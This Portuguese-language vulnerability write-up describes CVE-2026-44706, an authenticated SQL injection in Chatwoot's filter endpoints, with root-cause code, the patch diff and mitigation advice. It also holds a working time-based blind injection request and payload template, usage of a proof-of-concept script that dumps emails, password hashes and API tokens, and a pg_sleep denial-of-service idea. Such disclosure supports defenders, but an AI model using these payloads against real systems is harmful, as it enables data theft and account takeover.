[PT-BR] CVE-2026-44706: SQL Injection in Chatwoot FilterService

Escrito por  Texugo

Resumo

A Equipe de Pesquisa da Hakai identificou uma vulnerabilidade crítica de Injeção de SQL nas versões do Chatwoot <= 4.11.1 que permite a qualquer agente autenticado ler todo o banco de dados PostgreSQL, incluindo credenciais de usuários e tokens de API. A vulnerabilidade reside no método FilterService, onde a entrada do usuário é inserida diretamente nas consultas SQL sem parametrização.

A exploração requer apenas uma conta autenticada com privilégios de agente, o nível mais baixo de acesso. Uma vez explorada, um invasor pode extrair o conteúdo completo do banco de dados por meio de injeção cega de SQL baseada em tempo, incluindo hashes de senha bcrypt, tokens de acesso de API e dados de todas as contas em implantações multilocatário. Técnicas baseadas em booleanos também podem ser usadas para confirmar a vulnerabilidade e inferir dados sem depender do tempo.

Após relatar esta vulnerabilidade por meio do programa GitHub Security Advisory, a equipe de segurança do Chatwoot reconheceu a submissão e elogiou a qualidade do relatório. No entanto, a mesma falha já havia sido divulgada por outro pesquisador. A vulnerabilidade recebeu posteriormente o identificador CVE-2026-44706.

Esta publicação tem como objetivo fornecer aos pesquisadores de segurança e profissionais de defesa uma análise detalhada da vulnerabilidade, incluindo sua causa raiz, impacto potencial e estratégias práticas de mitigação para organizações que executam o Chatwoot em ambientes de produção.

Impacto

Esta vulnerabilidade permite que qualquer usuário autenticado com privilégios de agente extraia o conteúdo completo do banco de dados PostgreSQL. O Chatwoot é uma plataforma de código aberto amplamente adotada para o engajamento de clientes, e seu banco de dados normalmente contém credenciais de usuários, como hashes de senha bcrypt suscetíveis a quebra offline, tokens de acesso de API que permitem a personificação de qualquer usuário, dados de clientes, como históricos de conversas, dados de contato e informações de identificação pessoal, além de dados entre contas que, em implantações multilocatário, expõem informações de todas as contas.

Além disso, um invasor pode enviar várias solicitações simultâneas com valores altos de pg_sleep() para manter as conexões com o banco de dados abertas indefinidamente, esgotando gradualmente o pool de conexões do Rails e o limite max_connections do PostgreSQL, negando efetivamente o acesso ao banco de dados para usuários legítimos. Isso é viável em implantações padrão do Chatwoot, que não configuram statement_timeout ou limitação de taxa nos endpoints de filtro.

Detalhes Técnicos

A vulnerabilidade explora a falta de consultas parametrizadas no sistema de filtros do Chatwoot, projetado para permitir que agentes filtrem conversas e contatos. Enquanto a maioria dos operadores utiliza corretamente bind parameters, os operadores is_greater_than e is_less_than interpolam diretamente a entrada do usuário em SQL bruto.

A falha está localizada em app/services/filter_service.rb no método lt_gt_filter_values:

# app/services/filter_service.rb:91
def lt_gt_filter_values(query_hash)
  value = query_hash['values'][0]          # entrada do usuário, sem sanitização
  operator = query_hash['filter_operator'] == 'is_less_than' ? '<' : '>'
  "#{operator} '#{value}'::#{attribute_data_type}"   # interpolação direta em SQL
end


O campo value vem diretamente do corpo da requisição HTTP sem qualquer sanitização, escape ou parametrização. Todos os outros operadores da classe armazenam a entrada do usuário em um hash de bind parameters e retornam um placeholder nomeado, tornando-os imunes a injeção:

def equal_to_filter_values(query_hash)
  current_index = @filter_values.length + 1
  @filter_values["value_#{current_index}"] = query_hash['values'][0]
  "= :value_#{current_index}"   # Parametrizado seguro contra injeção
end

Um segundo sink relacionado existia no mesmo fluxo de código: o attribute_key de um atributo personalizado era interpolado sem parametrização na expressão de caminho JSON em build_custom_attr_query. Um invasor poderia criar um atributo personalizado com um attribute_key forjado e, em seguida, acionar a injeção em qualquer chamada de filtro que fizesse referência a ele, independentemente do tipo de dado do atributo.

"LOWER(#{table_name}.custom_attributes ->> '#{@attribute_key}')::#{attribute_data_type} #{filter_operator_value}"

Os operadores que realizam auditorias em busca de explorações anteriores devem inspecionar o custom_attribute_definitions.attribute_key em busca de valores que contenham aspas, parênteses, espaços em branco ou outros metacaracteres SQL, além de revisar os payloads das requisições de filtro.

Endpoints Afetados

Os dois endpoints afetados são POST /api/v1/accounts/:id/conversations/filter e POST /api/v1/accounts/:id/contacts/filter.

Um atacante autenticado como qualquer agente envia uma requisição POST para um dos endpoints de filtro com um payload values manipulado. O payload escapa do contexto de string usando o padrão de cast de data e executa SQL arbitrário dentro do contexto do banco de dados PostgreSQL.

A requisição HTTP abaixo demonstra a injeção via Burp Suite:

POST /api/v1/accounts/1/conversations/filter HTTP/1.1
Host: target.chatwoot.com
Content-Type: application/json
api_access_token: TOKEN

{
  "payload": [
    {
      "attribute_key": "created_at",
      "filter_operator": "is_greater_than",
      "values": ["2024-01-01'::date AND (SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END)::text != 'x' OR 'epoch'::date > '2024-01-01"],
      "query_operator": null
    }
  ]
}

A injeção aproveita o contexto de casting de data para escapar da string SQL:

2024-01-01'::date AND (SELECT CASE WHEN ({condition}) THEN pg_sleep(2) ELSE pg_sleep(0) END)::text != 'x' OR 'epoch'::date > '2024-01-01

Este payload fecha a string de data original com '::date, injeta uma expressão CASE WHEN que aciona condicionalmente pg_sleep(), usa a diferença de tempo para inferir condições booleanas sobre o banco de dados e reabre um contexto SQL válido para evitar erros de sintaxe.

Desta forma, foi realizada a criação de um exploit que explora a CVE de forma automatizada e realiza a exfiltração de todas as credenciais armazenadas no banco de dados.

# Confirma a vulnerabilidade via diferença de contagem de resultados
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode check
Normal: 0 | OR TRUE: 42
[!] SQL INJECTION CONFIRMED

# Extrai dados arbitrários caractere por caractere
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode extract --query "SELECT version()"
[*] EXTRACT: SELECT version()
  [42 chars] PostgreSQL 15.3 on x86_64-pc-linux-gnu

# Dump automatizado de credenciais (emails, bcrypt hashes, API tokens)
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode creds
--- User 1/3 ---
  ID: 1
  admin...
  $2a$10$...
  token: xYz...

Correção

A equipe do Chatwoot corrigiu essa vulnerabilidade na versão 4.11.2 implementando a validação de entrada adequada e consultas parametrizadas. Abaixo está o diff mostrando as alterações feitas:

- def lt_gt_filter_values(query_hash)
-   value = query_hash['values'][0]
-   operator = query_hash['filter_operator'] == 'is_less_than' ? '<' : '>'
-   "#{operator} '#{value}'::#{attribute_data_type}"
- end

+ def lt_gt_filter_query(query_hash, current_index)
+   attribute_key = query_hash[:attribute_key]
+   attribute_model = query_hash['custom_attribute_type'].presence || self.class::ATTRIBUTE_MODEL
+   attribute_type = custom_attribute(attribute_key, @account, attribute_model).try(:attribute_display_type)
+   attribute_data_type = self.class::ATTRIBUTE_TYPES[attribute_type] || standard_attribute_data_type(attribute_key)
+
+   @filter_values["value_#{current_index}"] = coerce_lt_gt_value(
+     query_hash['values'][0],
+     attribute_data_type,
+     attribute_key
+   )
+   operator = query_hash['filter_operator'] == 'is_less_than' ? '<' : '>'
+   "#{operator} :value_#{current_index}"
+ end
+
+ def coerce_lt_gt_value(raw_value, attribute_data_type, attribute_key)
+   case attribute_data_type
+   when 'date'
+     Date.iso8601(raw_value.to_s)
+   when 'numeric'
+     BigDecimal(raw_value.to_s)
+   else
+     raise CustomExceptions::CustomFilter::InvalidValue.new(attribute_name: attribute_key)
+   end
+ rescue Date::Error, ArgumentError, FloatDomainError, TypeError
+   raise CustomExceptions::CustomFilter::InvalidValue.new(attribute_name: attribute_key)
+ end

For the second vector , the fix enforces a strict format validation (`/\A[\p{L}\p{N}_.\-]+\z/`) and switches to bind parameters via `sanitize_sql_array`:

- "LOWER(#{table_name}.custom_attributes ->> '#{@attribute_key}')::#{attribute_data_type} #{filter_operator_value}"

+ ActiveRecord::Base.sanitize_sql_array(
+   ["LOWER(#{table_name}.custom_attributes ->> ?)::#{attribute_data_type} #{filter_operator_value}", @attribute_key]
+ )

A correção implementa três camadas de defesa: consultas parametrizadas, coerção de tipos e validação de entrada.

Recomendações

Atualize para a versão corrigida do Chatwoot (> 4.11.1) que parametriza os operadores is_greater_than e is_less_than. Aplique o princípio de menor privilégio aos usuários do banco de dados, evitando privilégios SUPERUSER ou CREATE para contas de aplicação. Configurestatement_timeout no PostgreSQL para mitigar DoS via consultas injetadas de longa duração. Se estiver executando uma versão vulnerável, assuma comprometimento e rotacione todas as senhas de usuários e tokens de API.

Conclusão

A vulnerabilidade de SQL Injection no FilterService do Chatwoot ilustra como uma única inconsistência em uma base de código bem estruturada pode introduzir uma vulnerabilidade.

As consequências vão além do roubo de dados tokens de API extraídos permitem a tomada completa de conta incluindo impersonação de administradores, e em implantações SaaS multi-tenant uma única conta de agente comprometida expõe dados de todos os tenants. Obrigações regulatórias sob a LGPD, GDPR ou legislações similares também podem ser acionadas pela exposição de PII de clientes.

Agradecemos à equipe do Chatwoot pela resposta durante o processo de divulgação coordenada.

Vamos praticar!

O Hacking Club é uma plataforma de treinamento focada no desenvolvimento de profissionais de cibersegurança. O desafio Woot simula um servidor com a vulnerabilidade mencionada nesta postagem e pode ser utilizado para reforçar o conhecimento apresentado.

Referências

Logo da Hakai.